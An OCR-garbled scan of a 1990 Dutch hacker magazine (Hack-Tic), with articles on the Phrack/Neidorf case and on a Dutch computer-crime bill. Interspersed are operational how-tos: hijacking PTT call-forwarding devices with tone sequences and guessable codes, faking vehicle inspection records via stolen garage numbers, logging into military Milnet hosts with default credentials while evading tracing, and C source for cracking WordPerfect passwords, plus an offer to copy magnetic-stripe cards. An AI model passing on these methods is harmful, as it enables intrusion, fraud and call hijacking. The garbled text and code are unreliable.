g0 zljn &l geverificerd door het electronische
telefoonboek-sysieem van INinois Bell. Dege-
nen onder U die een validatie berichije heb-
ben oatvangen waarin staat dat ik mog geen
tijd heb gehad om hun adres te verifiercn
zullen moeten wachien tot ik tijd heb voor ze
berichten kuvanen posten.

" Adressen van bulten de stapd zljn niet op
bovenstsapde maater te controleren... Lie
korte-termijn oplossing voor gebruikers bui-
ten het gebied rond Chicago & hel vinden van
een ander systeem dan The Point,

*Een santal van de geplande uitbreidin-
gen aan The Pelni zulien niet gebeuren tol er
duidelijubeid is in de juridische skuatie.
Voorlopig zullen er geen shell-access of file
upload/download mogelijkheden zijn.

"Mijn verontschuldigingen voor dit nicu-
we beleld, maar cnder de huidige omstandig-
heden lijki mc ccn beewanrschrilt bij de fede-
rale of staatoverheid hed best op zijn plass.”

Dezelfde beprekingen werden op andere
grote systemien ingevoerd terwijl veel kicine
hacker-BHScn in hun geheel verdwenen.
Soramigen in de hncker-wereld zeggen dai dil
maar ecn [ase is ¢n dat hacker-boards terug
sullen komen en gebruikers weer vl zullen
kunncn praten zonder hun woorden of iden-
titeit le moeten registreren. Maar het gevocl
dat eriots blijvend Is veranderd blijft knagen.
Hen publicatie is moaddood gemnaki. Hon-
derden, zonict duizenden, namen opverzend-
ligsten zijn in beslag genomen en daar zal
zeker nog onderzock op volgen. De feiten in
hiet 911-verhasl zljn omwille van onwetend-
heid en sensaticzucht misvormd weergepe-
ven. Mensen en organisaties die kontakt had-
den metverdachien zijn no zelf ook verdacht.
En ins ket hele land worden systeembeheer-
ders cn -gebruikers bang om nog vrijuit te
sprekea. De festen in ogenschouw genomen
lijkt het gelool dat de demokratie 2al zcgevic-
ren hopeloos neiel. Toch moeten we hicrin
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blipren geloven. Verirouwen op het systeem
ks echicr ndet genoeg.

We hopen dat we op een goede dag omn dil
alkes zullen kunncn lachen. Lalen we vas op
it moment echter op de felten concentreren
en zorgen dal die op de voosgrond biijven.

Is cr Ingebroken In het 911-sysieem? Zo
in, dan moet hel hele verhnel naar buiten
komes. Hoe kwamen de hackersbinmen? Wat
wak voor de hackers locgankelljk? Wal kon-
den ze doen? Wat deden z2e7 Pk vellighekds-
kk dal onthuld wordt moet cerst worden ge-
dicht. Als er nog meer zijn dan moel bekend
worden waarom ¢ nog alet zija gedicht. Kon-
den de gaten eerder worden gedicht &n zo ja,
waarem gebcwrde dit dan nlet? Ak een
hacker schade aan het systeem heclt sanpge-
ricid mroet hi daarvoor verantwoording afleg-
gen. Bijna ledere hacker schijot het hier mee
eens te zijn. Wat is dan hel probleem? Hel Is
overdusdelijk dat er helemaal geen schade is.
Er is allcen het gebruikelijke assoctinent vei-
ligheidslekken dic nooil worden gedichi. In
het ontwerpvan ton systecn: zo belangrijk als
het #1.systeern mogen geen slordipheden
zetbcn. Dit agpekt van de hele zaak wordl over
het boafd gezien. De hackers de schuld geven
omdal rc de lekken gevonden hebben is een
sndere manser om le zeggen dat de gaden nict
ontdekt mogen worden.

Onder geen enkele voorwaarde mogen
het disk-tijdschelft Phrack of haar witgevers
gezien worden als criminclen. Elke goede
publicatie legl 2o nu ea dan de hand ap do¢u-
memten die niet voor het publick bedoeld
wiaren. Zo wordl niewws gemaakt. Het mond-
dood maken van Phrack is cen teken aan de
wend voor vitgevers en redakieuren in et
hele [amd

Temslotte: De privacy van computerge-
brwikers moet door de 1egerning worden ge-
respecteerd. Het is ironisch dat de hackers
geportreticerdworden als degemen dle inbre-
ken ln sysiemen, privepost lezen en onechul -
dige mensen lastigvallzn. Het is [wist de fede-
rale overheid die het patent op deze metho-
den schijnl te hebben. Wal deed de Secret
Service met deze compuiersysiemen? Waar

hadden z¢ locgang oe? Wicas post lazen 227
Wie of wat lict dit loe?
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Ondernesm aktie

Heit is gemakkelljk om je handen in de
lucht i¢ goolenen te zeggen dat je hed nict sxn
kunt. De feiten zeggen dat we op cen kritick
moment in de geschledenis zijn aangekomen.
De uitkomst van dit alles bepasll de tremd,
niet allecn voor computergebrulkers maar
ook voor de vrlje pert en voor elie burger van
de Verenigde Staten. We kunnen no niet toe-

n.

We reabiszren ons dat we snel onze geloof-
waardigheld vorliczea als we samenzweerde-
rig overkomen. We hopen dat dit nbed het
geval is omdat we geloven dal e echt een
drciging Destast. Als men er in slaagt Phmck
monddood te ruaken en haar redakteuren op
to gluiten voor ket dchrijven van een artikel,
dan zou 2600 eenwoudig de volgende kunnen
zijn. En dat geldt ook voor andere publicaties
wiens bestaan stof doet opwaaien. Dilt knn-
nen we nicl laten gebeuren,

In het verkedon bebben we mensen ge-
vraagd bepaaide dingen verder te verlellen,
Vaek is het resubiaat merkbaar geweest, Nog
naoil was het ro belangrijk. Nu zwijgen bete-
kenl €en sombere ¢n donkere tockomst ac-
cepicren.

MNaschrift Hack-Tic: Inmiddels is et
Craig Nelorf / Phmck proces achier de rug.
Ma een paar dagen o beslool de aankiager dal
vervolghng wellicht niet zo'n goed idee was.
Het kan e lels mee te maken hebben pehad
dai de verdediging aantoonde dat de 911.files
bij Belicore voor $13,- te koop waren.

Of dit reden |s om te lachen vailt 1 bezien:
Craig heeft na deze rechizank cen schuld van
$100.000 aan zijn sdvocaat. De aankiager ken
dus cigentijk nlet verllezen, Craig zou akijd
cen ¢horme schuld overhouden en de publi-
catic van Phrack is wanrschijnlijk voorgoed
pestaakt. Cradg heglt wel duizend aanboden
pekregen om toch meaar schuld te bekennea
in ruil voor sirafvermindering. In piaais daar-
van heelt j het risko genomen ¢n daarvoor
mag hij néet gestmait worden: Stuur dollac-ioa-
vellerscheques aan het Neidorl Defenss
Fund, c¢fo Kalten, Muchin & Zavis, Atin:
Sheldon Zenmer, 525 West Monroe St #1600,
Chicago, IL. 60606-3693, USA.



Hack-Tic Lezerspost

Geachte Hack-Tic,

Op 21 feb. 1990 heb ik £37,50
overgeschreven op het gironummer
van jullic bank o.v.v. jullie rekening-
nummer. Helaas heb ik tot nu toe
geen enkel nnmmer ontvangen. Hoe
zit dat?

7.0 maar een abonnec
in cen straat
ergens in Nederland

Deze brief viel een tifdje geleden in
onze buis. Wij konden de belaling van
meneer na veel gexoek in onze bank-
afschriften tenugvinden als een ‘over-
schrijving eigen rekening’. Maar, dit
was zijn eigen rekening helemaal niel,
het was de onze. Wat blijkt: overschrij-
ven op aridermians rekening op het
postkantoor kost 2,50, maar over-
schrijven op de eigen rekeningis gralis.
Waaron zou je dus als rechugecarde
hacker niet doen alsof de Hack-Tic
rekening je eigen rekening is?

Bijvoorbeeld omdat wij dan geen
omschrijving bij de betaling krijgen en
dus geen idee hebben waar het geld
vandaan komt. Het bipkt dat een groot
deel van onze abonees uit bovenmatig
vindingrijke mensen bestaat met als
gevolg: veel van dit soort grappeni Doe
Jezelf een lol en betaal die extra nks als
je ap het postkantoor stort, want wif
hebben al niet de best geoliede admi-
nistratie en deze meneer kreeg zin
Hack-Tic dus een holf jaor te laat.

Hoi Phreaks,

Eddie vroeg in het esrste nummer
om informatic over de doorschakel-
apparaten dic de¢ PTT verkoopt.
Deze dingen worden ook door m-
stallaticbureau's en dergelijke gele-
verd zodat ze dus wijd verspreid
staan. Om deze apparaten telefo-
nisch op cen ander nummer te pro-
grammeren is het noodzakelijk dat je
picptoontjecs op de vitgaande lijn van
deze apparaten zct.

De opbouw van deze toontjes Is
eigenlijk heel eenvoudig en iedereen
in het bezit van cen computer of met
een beetie verstand van clecironica
kan deze pieptoontjes zelf gencre-
ren. De cijlers van het nieuw in te
programmeren mummer worden
voorgesteld als pieptoontjes van
1600 Hz. Een 1 is 1 piepje, een 2 is
twee picpjes, een negen is negen
picpjes en cen nul is tien piepjes. De
piepjes volgen clkaar op mel ecn
snelbheid van ongeveer 10 picpjes per
scconde met ecn een puls/panze ver-
houding van ongeveer 50%. Pauze’s
tussen kengetal en abonneenummer
worden voorgesteld door een panze
tussen de piepjes van B(X}-1000 ms.

Om nu cen doorkiezer te herpro-
grammeren moet je eersl de uitgaan-
de Iijn opbellecn, dan een driecijferi-
gc code invoeren (probeer cens icls
origineels zoals 123 0.i.d., de gemid-
delde eigenaar van dit apparaal is
nict zo origincel) en dan het nicuwe
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ickefoonnummer met inachtname
van de bovenstaande regels. Je kunt

nu de verbinding verbreken en de
ingaande lijn bellen waarna je auto-
matisch doorgeschakeld wordt naar
het door jezelf gekozen nummer,

Na het bedindigen van de verbin-
ding kun je met een dummy telefoon-
nummer de eigenaar op een dwaal-
spoor brengen, De mogelijkheid van
programmeren werkt echter allcen
als deze optie in deze kiezers is inge-
bouwd.

Kijk wel vit: veel van deze appa-
raten staan by doktoren en andere
hulpverlencnde instanties dus laat
deze zoals 7¢ #ijn, Veranderingen in
deze kiezers zijn echt niet leuk en
kunnen verstreckkende pevolgen
hebben, dus wees gewsarschuwd.
Picpertjes zijn vrij eenvoudig te ma-
ken van een oude "Blokker'telefoon
en gen oscilatortje. Je kunt ze ook
gewoon met de computer opwekken,

Succes, Slnhk

Hallo Techno alternaticven,

Hier even een briefje van een van
jullic fans, Dr. Dope. Jullie zullen de
APK Il wel kennen; het is de regeling
dic zorgt dat arme studenten telkens
op kosten gejaagd worden als ze pro-
beren om weer cen jaar auto (e rij-
den. De administratie achter de keu-
ringen verloopt voor ecn groot deel
geautomaliseerd. Hoe werkt dat
dan? Simpel........
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Als je een viditel terminalpro-
gramma hebt bel je 06-7111, Je komi
nu in de Telepad service van de PTT,
Typ bij dienst RDCAPK of
APKRDC met hoodletters en daar-
na 0# en je verbinding met het RAI
DATA CENTRUM is opgczet. Er
wordt nu onder amderc govraagd
naar hel K.l nummer. Zoek daar-
vaor cens cen garage in de baurl op
en kijk eens vol bewondering naar de
termingl. Mcestal hangt er wel een
brielje in de bunel waar een nummer
opstaal als KEOTF94 of KI 28 FE 91
etc. Onthoo de nummers en voorna-
men van de monteurs, want heel vecl
mensen hebben een slecht geheu-
gen, maak daar ge(mis)bruik van.

Nu nog even crgens con sticker
regelen en byj controle gewoon zeg-
gen dal je jo keuringsrapport verge-
ten bent. Wordt je ergens geflitst dan
worden de kentekens door de rijks-
dienst voor het wegverkeer alleen
met het zojuist beschreven compu-
tersystcem vergeleken,

Nog 1 ding: als er in beeld komt
dat je een steckproefl krijgt dam
wordt het lastig.. De computer wijsl
namelijk willekeurig cen aantal keu-
ringen in den lande aan om ecns wat
beter te bekijken. Een ambtenaar
van de RDW gaat dan naar de gara-
ge van wic jij de nummers hebl ge-
leend op zoek naar JOUW auto, Wat
er dan gebeurd is mij onbekend maar
dat er heibel komt lijki me zcker.
Advies? Gewoon dom houden dan
kom je er wel onderuit (hoop ik).



Milnet (millitary network)

of

'wat we nu toch weer in onze postbus vonden’

Het volgende artilel werd ons
anoniem loegezonden....

Milnet is een netwerk van militai-
re computers rond de wereld. Het 1s
een decl van het wereldwijde "inter-
nct” netwerk waarop ook allerlei an-
dere instellingen zija aangesloten
(onder andere veel universiéeiten).
Als je op een UNIX systeem zit dat
op het internet is aangesloten dan
kun je met het ’telnet’ commando
doorschakelen naar andere sysic-
men op het internet (en dus ook op
het milnet!),

In Nederland hangen onder an-
dere de universiteden UvA, VU,
TUE, KUN, TUD, RULT en EUR
aan het internet. Als je toegang hebt
tot een UNIX van é€n van deze uni-
versiteien die aan ket netwerk hangt
dan kun je vaak met ’telnel <nom-
met | hostnaam>" koatakt krijgen
met dit systeem. Het is slim om dit
via cen andere computer te doen zo-
dat het voor de heren aan de andere
kant iets meer werk is om je terug te
vinden, anders ben je je account snel
kwip.

Het adres van ecn systeom 15 als
volgt opgebouwd: ecrst de naam van
het systeem zelf, dan een punt endan
de 'domeinen’ waarin het valt, het
kicinste eerst. De marine heeft bij-
voorbeeld haar eigen domein *navy’.

15

D¢ laatste naam is het topdomgin, in
dit geval bijna altijd *mil’, voor miki-
tary. Als cr achler een nummer twee
namen staan dap is de tweede de
‘nickname’; het systeem is ook onder
dic naam bekend,

We zullen je alvast lekker maken
mcl ccn kicine greep uit de afkortin-
gen die in de lijst voorkomen,

dca defense communications
agency

ddn  defense data metwork

dla defense logistics agency

af air force

nri navy rescarch laboratories

aflc air force logistics command

brl balistics research laboratory

pacom pacific command

afwl  air force weapon laboratories

arpa  advanced rescarch projects
agency

Ok, je zit op het internet, je kunt
met deze hosis kontakt leggen. Hel
eerstc wal je probeert is inloggen
met standaardnamen. Een gocde om
in dit verband uit te proberen is de
gebruikersnaam (login) "'mailer’ met
als wachiwoord ook weer 'mailer’.
Veel succes en pas cen bectje op
Jezell.
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Breekljzer voor WordPerfect

WordPerfect, de Big Brother der
tekstverwerkers, heell een opiie om
Mies ‘locked’ weg te schrijven op
disk. De gebruiker tikt een wacht-
woord en de tekst Is dan nlleem nog
met dat wachtwoord leesbaar. Ten-
r 4 | T—

Eecn anonieme Hack-Tic aboanee
schreef hel volgende programma om
het wacktwoord voor dit soort files
te achterhalen. Het programma
vindt binnen cen paar seconden niet
allecn het meest waarschijnlike
wachtwoord, maar het geeft ook de
kans dat dit het goede wachiwoord
is. Bij crg korte tekstfiles is dit per-
centage soms e¢rg laag, maar kwam

het bij onze testen toch altijd met het
goede wackiwoord.

Het is triest dat een 2o wijd ver-
breid programma als WP zo'n simpel
'coderingsalgoritme’ gebruikl, ter-
wijl veel betere algoritmen voorhan-
den zijn, Misschicn willen ze wel he-
lemaal nict dat Jan en Alleman hua
files onlecsbaar kunncm maken.
Mensen die echt iets willen versieu-
telen kuanen op zock gaan naar PC-
DES, cenin de BRD geschreven im-
plementatie van het DES coderings-
algoritme {dat officicel van "strate-
gisch belang’ is en dus de VS miet vit

mag}.

f*litlillilniiiiiiillqin.i-tl-t-lil-iqni-l-t-l.l--t-l

Dacodar for

PC Veraion 1.2

L]
[ ]
&
-
&
[ ]
]
[

filnclude <stdio.h>
finclude <alloc.h>
finclude <fontl.k>
fdefine TRUE 1
$§dafine FALBE O
idafine HenmLon 640
fdofine RaxFillLen &390
jdetina MaxPasalan 20
char *HemPtr =MULL}
int fllelength handle}
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WS datafiles

(C) Copyright 19%0 by The Great Einstein

L
L
L 3
]
&
L]
&
L]

il ol il o e el o el o oyl o ol ol o f

Wij 2fin ALTID op zoek npar
dit soort programma’s; klein maar
fijn. Heb je icts leuks dar kun je het
opsturen naar onze postbus (Liefst
op IBM/Atari/Amiga/Archime-
des/Mac 3.5'75.25"/8" floppy én op
papier). Ook standaard-tapes tot
6400 BPI zijn geen probleem.




vold End{a)
chaxr *aj
{
priatf(m);
alose{handle) |
if (MomPir) fresa{Memitr);
axit(l)y

vold LoadFlle{noms)
char *namép
{
if {(hapdle=ocpen{xams,O RDONHLY | 0_BYXMHARY) j==-1}
End(“\nUnable to cpen file.\n"}}
i1f {(HemPtr=malloc|HamLan ) )==HULL)
End(*\nInsufficient memory,\n"})
filelength = read(handle,NomPtr,HaxFilLen})
printf{*“%d bytes read from input file.\n",filelength);
close[handle);

struct 1ldtype
{
cghar ldnr;
char idelem[3]}

H

vold ChackFlle{)

{
struct ldtypa *id,codeld;
id=|struct ldtype *)MenPtr)
if ({id->4idnr) I= -1)
if {(ld->idelem)i="WEC")
End("This is not a HP codeflle.\n");
}

void prtprob(proh)

long probj

{
long a,by
n=prob/100};

b=prob-({a*100})
printf{=%3d.*,a)}
L [b<10)

printf{*osid $%",b}|
sleeo

printf|~%2d " ,b))
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typadef unslgned long ULOHG)
typadef vnsignad 1Int UWORD)
typedef vunsigned char UBYTE)

vold crackFile()
{
UBYTE *datapty,ch,maxch)
ULONG len,offset, sum,maxsum, total=0)
ULONG i,pom,passlen,bestlength, lettar, blook, naxblooks )
ULORG maxocc)
ULONG MaxProb,Prob=100,LanProb=100)
UBYTE PamaWord{lX®];
UBYTE Eey[l2B])
ULORG Proba[l28]]
UHORD Ooo|256];
dataptyr = HemPtr + 16
lan = filelength - 16}
printf{“\nData length: %d bytes.\n",lesn}))
BmAXSUM=0)
for (passlan=1; [passlean<MaxPaselen) ; passlent+)
{
Buwa=1 |
priotf|"Considering possible password length: %3d4\015",passlean);
for (letter=0) letter < passlsn) lattar++)
{
maxocc=0; maxch=0; maxblocke=D}
foxr [(1=03 1<256) 1++) Occ[i]=D}
poa=lstter)
for {block=0; {pos~block*passlen+lettar)<len) block#+)
{
maxblocks++)
ch=(*(dataptr + poa))”{UBYTE) (pos+passlan+l))
if (++Dce[ch] >= maxoce)
{
mARICCHE |
maxch=ch?
}
)
FasaWord[ lettar | =maxch)
if [maxblocks 1= 0)
Probe[lettaer]={ L0000*maxXooo-10000*Lan/ 256 ) /maxoca)
alas
Probs|lettar)=0)
SURd=NANOCO |
}
if (sum >= maxsum)
{
baatlangth=panslan;
mAXEUM= BN |
Prob=10000;
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for (1=0) i<pamsslen) L++)

{
Eay[i)=Passwora{i];
Prob=(Prob*Proba[1]}/10000}
}
Key[passlan]=0;
}
totali=sum)
3
LenProb={maxscm* 10000-10000+total /HaxPagssleon) /maxsun)
printf{~\n\nEstixate of password langth i S%dd\m",best-
leangth)}

printf(“Correoct password length probabillity r ")}
priprob(LenProb} |

printf|"\nCorrect password letter probablllity : ")j
prtprob{Proh)

printf["\nCorrect password probability ")t
prtprob{Prob*Lenfrob/10000});

printf[~“‘\nMost probable password in HEX T ")
for {i=0; i<besatlengthj i++)

{

LE [Rey[i]<1§)

printf{“0%ix “,Keay[1]);
alse

printf{"%2x ",Key|1]1);

}
printf("\nMost probable password im ASCIX
for {i=0; i<beatlangthj; i++)

I "}

{
if [[(Rey[i] >= ' ') && {(Key[1)<127))
peintf{"%c" ,Kay([Ll});
elee .
pt‘intl' [n_u ] 3 [}‘ﬂ- ?EI'EIE d—lﬁ 'le hﬂhhﬂl‘t Eﬂ I-E-E'l.
} komit uit de Turbo-C {tm) compilce
) van Borland, Werkt gegarandeerd
alleen voor files van WP 5.0en 5.1
main{argc,argv) (cn straks ook 5.2 7).
int ergo}
ochar *argvi|)
{
1f [(argoi=2)
End{"FORNAT:1 %= fllenama\n®,argv|0]);
LoadFilejargv{i]}i
ChackFile(};
CrackFile();
End{"\n\nok."}}
}
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Hack-Tic a la carte

In nummer 8 gaven we je cen ma-
nier om zelf een magneetkaartlezer
{ schrijver en een magneelkaarico-
pler te bouwen. In nummer 9/14 ver-
telden we je hoe de codering van de
tracks in elkaar zat, Voor de mensen
die nlet de hardwarekeanls hebben
om dat allemanl zelf In elkaar te
zetten komen we nu met onze dende-
rende finake: de Hack-Tic kepleer-
service veor magneetkaarten,

Als je data op je harddisk hebt
staan wil je daar natuurlijk een back-

up van hebben, Data op de magnect-

kaart kon je tot nu toe echter nict
kopiéren. Als de data op jouw mag-
neetkaard geschreven is op de door
de ISO (International Standards Or-
- ganisation) vastgelegde track 1, 2 of
3 (of een combinatic daarvan) dan
kunncn wij je kaart kopifren. De
meeste magneectkaarten in het dage-

Hack-Tic $11-12/1990

lijks verkeer hebben hun gegevens
op één of meer vandeze (racks staan,

Denk eens aan het gemak: nooit
meer door de hele burocratische
molcnomxdat het origineel gedemag-
netiscerd werd, nooit meer de origi-
nele kantinckaart onder de koffie.
Yanaf nu werk je alleen nog maar
met de door Hack-Tic verstrekte ko-
pie.

PIN-codes van de diverse kaarten
die in het betalingsverkeer gebruikt
worden staan NIET op de magnect-
strip. Een gekopieerde kaart wordl
door de mitlezende apparatuur ge-
zicn als het originec], je kunt dus ook
NIET twee keer zoveel geld per dag
opacmen. Veel kartonnen kaartjes
{zoals de OCE-copycard) gebruiken
NIET de standaard tracks.

Hoe werkt het?

Tedeveen dle aan ons een envelop
_ opstuurt met daarin:
e cen briefje met zijn/haar adres
@ de te kopieeren kaartjes
e f15,- voor de eerste en f18,- voor
elke volgende kaart
Krijgt per post ecen envelop met:
® De oorsponkelijke kaarl
e Ecn kopic van dic kaart op een
Hack-Tic 4 la Carte Magneci-
kaart



Hack-Tic a la carte

® Ecn ctiket achter op de kopie met
daarop wat er precies op de drie
ESO-tracks staat. Met deze infor-
matic kun je bij Hack-Tic cen
nicuwe kaart bestellen

Yerdere regels:

Als de kopie op de een of andere
manier niet werkt (bijvoorbeeld
omdat de imlormatie niet op
tracks 1, 2 of 3 stond) kunaen wij
daarvoor geen verantwoordelijk-
heid accepteren.

Yoor het zockraken van kaartjes
die mict aangetekend zijn, aan-
vaarden wij geen veranlwoorde-
lijkheid.

® Als je de emvelop aantekent en

f5,- extra insluit sturen we de
kaart ook weer aangetekend te-

rug.

® Bovenstaande prijzen gelden

voor de Benelww Kaarten vanus
het builenland kosten £20,- als wij
per luchtpost mocten versturen.
Een DM is voor ons f1,- en een
US dollar is f2,- (nee, we kunnen
nict wisselen).

e Voor cventuck overtredingen

van de copyright-wetgeving blijft
de aanvrager verantwoordelijk,
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Een kritische kijk op het

Wetsvoorstel Computercriminaliteit

Door Paul en Rop

Zoals iederecn zo langzamer-
hand wel weet doet hel ministerie
van justitie al geruime lijd verwoede
pogiagen om het weisvoorstel com-
putercriminaliteit door de Iweede
kamer te krijgen. Wanneer het voor-
stel nu uitcindelijk wocdt behandeld
is moeilijk te zeggen, want het is weer
eens vertraapd. Wat betrefl het over-
schrijden van deadhaes zijn we hier
op de redactic echie cracksenals de
kamerleden maar half zo traag zijn
als wij kan behandeling nog wel even
durcn, Toch leek ons de tijd geko-
men om ook ons licht ecns over de
voorgesieldc welgeving te laten
schijoen.

We bespreken de voorgestelde
wetten die van belang zijn artikel
voor artikel. Een groot aantal wijzi-
gingen behelste alleen maar het ver-
anderen van de woorden telefonic
naar tclecommunicalie en ecn nieu-
we definitie voor informatie en gege-
vens. We geven niel overal de letter-
lijke weistekst, maar meer een soort
vrijc inlerpretatie van wat het kabi-
net precies met deze wetgeving van
plan is en eventueel hoe wij tegen die
wijziging aankijken.

Een kort woord van waarschu-
wing: hoewel we ons redelijk hebben
laten voorlichten, zijn we beslist geen

Back-Tic #11-12/19%0

juristen. Verder hangt cen hoop af
van de eventuele interpretalie van
deze voorgestelde wetten. Dit is niet
bedockl als handleiding voor de doc-
het-zelf advokaat maar mecer als een
poging om cen beeld te geven van
wat er onder de voorgestelde wetge-
ving wel en niet kan. Verder bete-
kent het dat als jets onder de nieuwe
wetgeving strafbaar wordt niet dat
dat niet nu ook al bestralt zou kun-
nenworden onder debestaande wet-
geving!

Allereerst de wijzigingen in het
wetboek van strafrecht. Voor de
leek: dit wetboek beschrijft wat voor
de wel strafbaar is en welke maxi-
mumstraffcn cr gelden als de wet
wordt overtreden.

Artikel 98 / 98a / 98b

Dit zijn welsartikelen dic spiona-
ge betreffen, In deze artikelen wordt
het woord "gegeven” vervangen door
"inlichting, voorwerp of gegeven'. In
de memorie van toelichting schrijft
de minister onder meer: "Door de
toevoeging van het woord “gegevens”
in de zin van dit wetsvoorstel, wordt
tevens strafbaar het ter beschikking
stellen vamn compulerprogramma-
tuur aan onbevoegden waarvan de



gcheimhouding door het belang van
de steat of van zijn bondgenoten
wordt geboden."

Artikel 138a

1. Hif die wedarrechtelifk binnen-
dringt in ean daartegen bevelligd
geautomatiseerd werk voor de op-
siag of verwerking van gegeverns,
of In een daartegen bevelligd deel
daarvan, wordt gesiraft met een
gevangenissiral van ten hoogste
drle maanden of geldboete van de
tweede categorie.

2. Hif die zich toegang heeft ver-
schaht door middel van het aanne-
men van een valse hoedanigheld,
fistige kunsigrepen of een valse
sfeutal, wordt geacht te ziin bin-
nengedrongen.

Dit artikel suit aan bij Art, 13§,
bet bestaande huisvredebreuk-arti-
kel. DPe minister heeft het in zijn me-
moric van toclichting dan ook over
’computervredebrenk’, In de memo-
riec wordt gespoken over 5 verschil-
lende niveaus vam computerbeveili-

ging:

& Absolute beweiliging: "Onmoge-
lijk. Indien voldoende vernult, tijd
e¢n middelen worden ingezet,
blijkt steeds weer dat in ontoe-
gankelijk geachte computersyste-
men kan worden ingebroken.Dit
betckent ook dat een inbraak niet
een aanwijzing vorml dat cr spra-
ke zow zijn van onvoldoende be-
veiliging."

® Maximale beveiliging: "betekent
dat alle op een bepaald moment

beschikbare technische mogelijk-
heden tot beveiliging zijn aange-
wend. Uitgaande van de gedachte
dat het onzinnig is een gulden te
beveiligen met een rijksdaalder,
kan maximale beveliging in rede-
lijkheid niet worden gevergd.”

® Adequale beveiliging: "van ade-
quate beveiliging is sprake wan-
neer er een evenwicht is tussen
het te beveiligen belang en de
mate waarin beveiligingsmaatre-
gelen zijn aangebracht.”

¢ Minimale beveiliging: "Dit bete-
kent dat indien het slachtoffer van
een computerinbraak kan aanto-
nen dat er sprake was van enige
redle beveiliging, dit voldocnde
1.5“,

® Pro forma beveliging: "Beveili-
ging die geen daadwerkelifke be-
veiliging is, doch slechts is aange-
bracht met het oog op byvoor-
beeld het ontstaan van strafbaar-
heid van *hackers™.

Het doorbreken van een minima-
le beveiliging is dus al voldoende om
strafbaar te #ijn. De minister schrijft:
"Dt onderdeel van de voorstellen
van de commissie-Franken heeft
veel reacties opgerocpen, Zo is de
vraag gerczen welke mate van bevei-
liging wordt verlangd, voordat aam
de eis van strafbaarheid is voldaan.
In dat verband is erop gewezen dat
stachtoffers van computercriminali-
teit weinig gencigd zullon zijn aangil-
te te doen bij de justitie, indien dat
tot gevolg heeft dat de wijze van be-
veiliging in een openbare zitting van
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de rechtbank door de verdediging
zou kunnen worden bekritiseerd.”

De minister wil de bedrijven dus
de vernedering van een publicke
analyse van hun systcembeveiliging
besparen. Of toch niet? Even verde-
rop schrijft hij: “Wat als minimale
bevciliging moet worden aange-
merkl is geen statisch, cens ca voor
altijc vast te stellen gegeven. Het in-
breken in een geautomatiscerd werk
en het beveiligen van gegevens ma-
ken deel vit van cen voortdarende
electronische corlogsvoering. Wat
bij een bepaalde stand van de tech-
nick als cen adquate techniek kan
worden gezien, is dat bij een verdere
ontwikkeling nict meer. Zo kan ook
cen beveiliging die op enig monaent
nog wel als minimaal kan worden
aangemerkt, ma verloop vam tijd zo
achterhaald zijn, dat deze niet mecr
als reéel valt aan te merken,”

Hier impliceert de minsster dus
dat beveiligingen wel degelijk onder-
deel van de discussie in de rechiszaal
worden. Op ziju minst blijft het wat
dit betreft afwachtcn hoe de rechters
een en ander gaan interpreteren,
Over het a :n lijkt de compu-
terwereld hel er over eens dat bij-
voorbeeld het kraken van systemen
met een standaard-wachtwoord
{door de fabrick in de software ge-
zcl) onder de nieuwe wet WEL stral-
baar wordt.

Na het vitkomen van het rapport
Franken was de algemenc kritick dat
welgeving geen computerbeveiliging
mochit vervangen. Het is nus duidelijk
dat de minister deze kritick niet
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heeft mecgenomen in zijn uiteinde-
lijke wetsvoorstel: minimale beveili-
ging hoeft in de woorden van de mi-
nister zelf niet bijster veel om het lijf
te hebben. Juist omdat aan viterst
slecht beveiligde systemen wettelijke
bescherming wordt gegeven wordt
de ecrlitke hobbyist de mogehjkheid
oninomen om de vinger aan de pols
te leggen. Om ook cens in mooie
metaforen te spreken: de minister
wil dat er een slot op de deur van de
computer zit, maar als de cigenaar
een touwtjc door de brievenbus
hangt is het verboden om er aan te
trekken.

Verder is wellicht de strafmaat
een tikje hoog: als je in de kantine
van ccn universieit een broodje cet
zonder collegcksart dan gebruik je
de faciliteen van dec universiteil
zonder dat jc er recht op hebt. Dit-
zelide geldt voor het gebruiken van
openbare  wniversiteitscomputers
zonder toestemming. Het verschit is
dat de 'straf in het eerste geval in
hooguit bestaat nit verwijdering wit
de kaaline. Als het om een universi-
lcitscomputer gaat zou daar incens
een maximumstraf van 3 maanden
op staan. Inbraak in een computer-
systeem zonder schade aan te rich-
ten en zonder financieel cogmerk of
gewin is op zijn ergst vergelijkbaar
met belletje trek.

Het meest bezwaarlijke aan dit
nieuwe artikel 138a is wellichi dat de
discussic over computerveiligheid
wordt bemoeilijkt. Als het kraken
van ecn systeem mel cen standaard-
wachtwoord strafbaar wordt, hoe zit



het dan met het pobliceren van een
Ejstje met standaardwachtwoorden?
Is dit "witlokking van een misdrijl’?
Zo ja, gaat er dan onderscheid ge-
maakt worden tussen publicatics aan
verschillende zijden van het strijd-
perk in deze 'electronische oorlogs-
voering'? Mogen het bedrigfsleven
en de wetenschap straks meer zeg-
gen dan hackers en andere hobbyis-
ten?

Artikel 139a

Een nicuw tweedce hid dat {widt:
2. Met dezellde straf (6 maanden
of geldboeta vierda cataegorie, HT)
wordt gestraft hil dle gegevens die
in een woning, besioten lokaal of
erf, door middel van een geauto-
maliseerd werk worden overge-
gragen, meat een technisch hulp-
middel cpzetielifk, zonder daartoe
gerechtigd te ziin, aftapt of op-
nasmt.

Het eerste lid van dit artikel be-
schermt het gesprek binnen de mu-
ren van een woning, besloten lokaal
of erf, Het nieuwe Iweede Bd moet
ook de telccommunicatie binnen de
murcn beschermen tegen opzettelij-
ke afluistering of aftapping door
middel van een technisch hulpmid-
del. De ouxde term *gesprek’ dekt na-
melijk geen andere vormen van tele-
communicatic. Deze wijziging bete-
kent ook dat bijvoorbeeld het afluis-
ieren van Ickstraling van beeldscher-
men strafbaar wordt. Verderop im
het artikel staat echter dat deze wet
niet geldt voor het aftappen of opne-

men van telecommuanicatie door
middel van de telecommunicatie-in-
frastructuur (bijvoorbeeld bet tele-
foon-, telex- of datanetnet).

Artikel 139b

Beschermd telecommunicatic in
cen "besloten ruimle®, waaronder
blijkens de toelichting ook cen we-
reldwijd computernetwerk van ecn
bedrijf kan vallen, als de verbindin-
gen lopen via de eigen middelen en
kanalen van dat bedrijf (bijvoor-
beeld eigen straal- of sattelictverbin-

dngen).

Artikel 138c

a. Het eerste lid komt te Ividen:
1. Hlf die door midde! van de tels-
communicatie-infrastructiir  of
door middel van daarop aangesio-
ten randapparaluur overgedragen
gegevens die nlet voor hem, mede
voor hem of voor degeen in wiens
opdracht hif handelt, ziin bestemd,
opzettelifk mat een technisch hulp-
middel aftapt of opneemt, wordt
gastraft met een gevangenisstraf
varnt ten hoogste een jaar of sen
gefdboete van de vierde catego-
rie.

